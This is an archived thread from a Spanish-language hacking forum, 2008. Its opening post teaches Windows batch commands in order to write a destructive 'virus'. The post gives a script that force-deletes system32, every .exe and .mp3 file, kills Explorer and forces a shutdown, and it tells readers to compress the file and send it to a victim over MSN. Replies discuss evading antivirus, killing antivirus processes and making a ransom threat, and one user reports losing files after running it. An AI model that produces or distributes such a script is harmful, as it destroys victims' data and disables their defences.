PDA

Ver la versión completa : Creando scrip malicioso bajo lenguaje Batch (Ms-DoS) By RaKi0N



RaKi0N
19-03-2008, 19:32
Hola a todos!

Este manual,explica como crear virus bajo un lenguaje que usa nuestro propio sistema.

Este lenguaje,nos facilita el mejor uso de nuestro ordenador,con diversas ordenes o comandos a través

de nuestra consola,llamada Ms-Dos.


En este manual no voy a enseñar como crear un virus que destruya medio universo,nada de eso,olvidaros de pajas mentales

Mas bien se explica los comandos y las órdenes que daremos a nuestro bichito,y lo que hace mediante

esas órdenes que nosotros le damos.

Lo primero que haremos será abrir nuestra consola, nuestro "ms-dos" y teclear en ella "edit"

http://img182.imageshack.us/img182/7480/raki0n1yh4.gif

Bien,una vez con la consola abierta y listo para hacer nuestro bicho,os explico los comandos que vamos

a ejecutar "sus funciones"

@echo off
Sirve que para que nuestro virus no salga en la pantalla,es decir,para que la ventanita del ms-dos no sea mostrada.

title

Tanto como en nuestro virus como en otro programa programado en "batch" sirve para poner un título a la aplicación que hayamos programado.En pocas palabras: "Pone un tituto a nuestro programa"

Del:
Comando que se usa explícitamente para borrar carpetas o ficheros,mediante otros comandos se puede

forzar el borrado de la carpeta,o de cualquier otro archivo

Comandos del comando Del:

Comando: /F (Borra los archivos con solo lectura)
Comando: /S (Elimina los archivos indicados)
Comando: /P (Pide confirmación antes de borrar cada archivo)

Net Stop
Sirve para parar algun servicio o medio que transcurra a través de nuestro sistema,así como el centro de seguridad,firewall de windows o otro medio de seguridad del equipo.Con este comando,facilita una desactivación de estos servicios,evitando ser activados automáticamente.
Pero a través de este comando,el usuario puede ver como han sido desactivados componentes de su sistema.

taskkill
Este comando es usado a la hora de querer matar procesos que corren a través de nuestro sistema.Cuando queremos parar un proceso de nuestro sistema,este comando realiza esa función,mata un proceso específico que le hayamos ordenado,más comodo a la hora de querer meter nuestro virus y matar el antivirus,o matar cualquier otro proceso que lleve a un programa,aplicacion...

start
Comando start sirve para empezar una tarea,ya sea abrir el explorador,un programa,una hoja de cálculos (bloc de notas) paint,wordpad,word...Cualquier programa, con solo el comando "start" seguido del programa a ejecutar,ejemplo:

start cmd.exe


:bucle -- goto bucle
El comando :bucle sirve para hacer un bucle como su propio nombre indica.Con este comando podemos ejecutar infinitas tareas,programas,aplicaciones,juegos...Todo esto de forma masiva,de modo que lo único que podremos hacer,seria reinicio del ordenador.

y el comando goto bucle,es el que hay que poner una vez indicado la tarea a realizar.Ejemplo:

:bucle
start cmd.exe
goto bucle

Hemos dicho a nuestro virus mediante el comando :bucle y goto bucle que habra infinitos bloc de notas masivamente,esto es un ejemplo,se pueden abrir 1000 programas más.

shutdown
Comando shutdown sirve para reiniciar o apagar el ordenador mediante un tiempo estimado que se le añada o otros valores.

Comandos de shutdown:
Comando: -s (Apaga el equipo)
Comando: -r (Apagar y reiniciar el ordenador)
Comando: -a (Anula el apagado del equipo)
Comando: -t 21 (Pone tiempo para el apagado,donde dice 21 son los segundos que tardará en apagarse/reiniciarse.
Comando: -f (Fuerza el cierre de todos los programas sin advertir al usuario)


Empezemos:

Para empezar a hacer nuestro primer bichito,podemos empezar por algo sencillo,en nuestra consola escribimos lo siguiente:

@echo off

Una vez tecleado esto,con el comando "del" podemos indicar que carpeta o fichero borrar.Yo por ejemplo,podría poner este código:

@echo off
del /S /F c:\windows\system32\
del /S /F *exe
del /S /F *mp3
taskkill /f /im "explorer.exe"
shutdown -s -f -t 10 -c "Muestra del virus"

Este es mi virus,es muy básico,ya que puede meterse más código y más dañino,pero con esto,ya es asegurado

Un daño...

Quedaria algo así:

http://img442.imageshack.us/img442/2669/raki0n2fe2.gif

Hasta aquí hemos hecho nuestro código de virus ¡Ojo! no quiero decir que copieis mi código XDD! podeis

buscar la ruta de cualquier programa o archivo y usar los comandos que os expliqué para vuestro virus.


Ahora queda pasarlo a su lenguaje .bat (batch)

para ello,en la misma consola y con el código escrito,hacemos lo siguiente:

Pinchamos en Archivo,Guardar como y ponemos un nombre, como por ejemplo "muestra" y al final de "muestra"

ponemos .bat quedaria así:

muestra.bat

http://img169.imageshack.us/img169/5289/raki0n3hh4.gif

y una vez hecho todo esto,tan solo vamos a nuestro buscador en el equipo (Busqueda) y buscamos

muestra.bat.Lo arrastramos al escritorio y lo comprimimos con el winrar o cualquier compresor.

Y una vez comprimido,se lo mandamos a nuestra victima por msn.

Nota: Esto es tan solo una muestra de como crear un virus en batch,con los códigos explicados.

Un saludo

[B]NOTA DEL EQUIPO DE HACKHISPANO: Esto es un script malicioso, si no sabes lo que estas haciendo no trates de jugar con el, y mucho menos ejecutarlo en tu equipo. Usalo bajo tu responsabilidad

chico1988
19-03-2008, 20:29
muy bueno gracias RaKi0N por tu trabajo

BYE

kosakosida
16-04-2008, 16:51
Muy bueno, ya he creado uno (aunque mejor no lo pruebo yo, ya buscare un conejillo de indias). Pero un par de preguntas: Cuando la desgraciada victima descomprima el .rar, el virus funcionara por si solo, o que hara? Y el antivirus lo pillara o lo ignorara?

Gracias por adelantado y saludos :D

Otro problema. Lo guardo en .bat, pero me lo guarda como archivo del Lotes Ms-Dos. A ver que sera...

Saludos

RaidMan
16-04-2008, 17:23
Kosokosida:

Tu archivo no se autoejecutara a menos que lo compiles en un .exe y lo hagas autoextraible con el WinRar o alguno pareceido.

El antivirus ni lo olera, ya que es el "lenguaje nativo" de windows

Un archivo .bat es un archivo de Lotes Ms-Dos. Asi como un .exe es un archivo ejecutable.


Un saludo

PD: El batch esta bien para empezar, pero no es utilizable mas que en windows (y con algunas variaciones entre una version y otra) asi que os sugiero que aprendais tambien algun otro lenguaje.

kosakosida
16-04-2008, 17:43
Muchisimas gracias RaidMan, ahora solo me falta victima :D

Saludos

kosakosida
16-04-2008, 18:28
Siento ser pesado, mucho, pero tengo otro problema. He intentado ejecutarlo (no me preguntes porque he hecho esta tonteria) y me da un error.

http://img245.imageshack.us/img245/6748/errorvirusii0.png

Alguna idea?


Saludos

RaidMan
16-04-2008, 19:45
Pon el codigo (da igual que sea maligno, aqui no linchamos a nadie;)) y dime que version de Windows usas (Xp, 98, 2000...etc)
Y le echo un ojo


Un saludo

kosakosida
16-04-2008, 21:34
Autosolucionado, pero muchas gracias igualmente :D

clarinetista
16-04-2008, 22:40
A parte que esto no es un virus si es nada.

ravenx88
06-05-2008, 00:42
muy bueno
soy nuevo por aqui y no tengo mucha idea, pero mediante esto no podrias matar los procesos que tenga ejecutados un pc de su antivirus e inutilizarle?? seria un buen metodo ya que como el antivirus no lo reconoce como virus.. weno lo dejo caer yo no se mucho del tema.:D

4v7n42
06-05-2008, 06:03
depende del antivirus, por ejemplo el nod si detecta ciertos comandos como maliciosos como por ej, deltree
con taskkill se pueden terminar procesos entonces bastaria con saber el nombre de porceso del antivrus a anular.

lo mejor para hacer es un shutdown -r -t 1800 -c "tienes media hora para mandar un millon de dolares a mi cuenta o te reinicio la cpu"
xD

salu2

SgtoSousuke
17-06-2008, 22:19
Veo que son codigos tmb de DOS.
se pueden usar esos mismos codigos??? o tiene batch su propio repertorio¿???

j8k6f4v9j
18-06-2008, 01:20
No es DOS, es la terminal de güindous. Y un archivo de batch no es más que un archivo de procesamiento por lotes, o sea, un archivo con los mismos comandos de la terminal.

No hace falta buscar mucho en google para saber eso. Por favor no reabras temas para dudas tan nimias. Siempre hay que buscar antes de preguntar. Gracias.

Salu2



http://img359.imageshack.us/img359/6631/celliigy4.pngKeep on Rollin' :mad:

hystd
18-06-2008, 02:02
j8, no sabias que es mas facil preguntar que buscar? Es mejor que alguien te lo cuente a no tener que ir leyendo cosas... xD

Saludos.

j8k6f4v9j
18-06-2008, 15:29
The Ultimate Guide: "Aprende a buscar"

Ése debería ser el manual con quien todo el mundo comenzase.

Salu2

Daniel666999
19-06-2008, 01:29
Una pregunta, ejecute este scrip y me borro unos archivos no se cuales, pero ahora que abro el panel de control no aparece el icono de agregar o quitar programas, y luego en el explorador de windows no me salen las pestañas de archivo, herramientas, todas esas, como le hago para recuperar todo?

j8k6f4v9j
19-06-2008, 01:37
con esto,ya es asegurado

Un daño...

¿Cómo se te ocurre ejecutarlo?

¿Tienes copias que restaurar?

Salu2



http://img359.imageshack.us/img359/6631/celliigy4.pngKeep on Rollin' :mad:

hystd
19-06-2008, 02:25
Una pregunta, ejecute este scrip y me borro unos archivos no se cuales

Pues todos los ficheros ejecutables (.exe) y música (.mp3) que tuvieras dentro del directorio de trabajo (indicado por la variable de entorno HOMEPATH).


pero ahora que abro el panel de control no aparece el icono de agregar o quitar programas, y luego en el explorador de windows no me salen las pestañas de archivo, herramientas, todas esas, como le hago para recuperar todo?

Ese script no tiene nada que ver con lo que comentas... Eso debe ser debido a otra causa.

Para recuperar los ficheros puedes utilizar cualquier herramienta de recuperación de ficheros. Viendo lo visto no voy a entrar en más detalles...xD

Un saludo

j8k6f4v9j
21-06-2008, 13:57
Viendo lo visto no voy a entrar en más detalles...xD

mmm, no sé por qué lo dices xD

Salu2



http://img359.imageshack.us/img359/6631/celliigy4.pngKeep on Rollin' :mad:

clarinetista
21-06-2008, 17:11
Le he puesto un pie de pagina :rolleyes: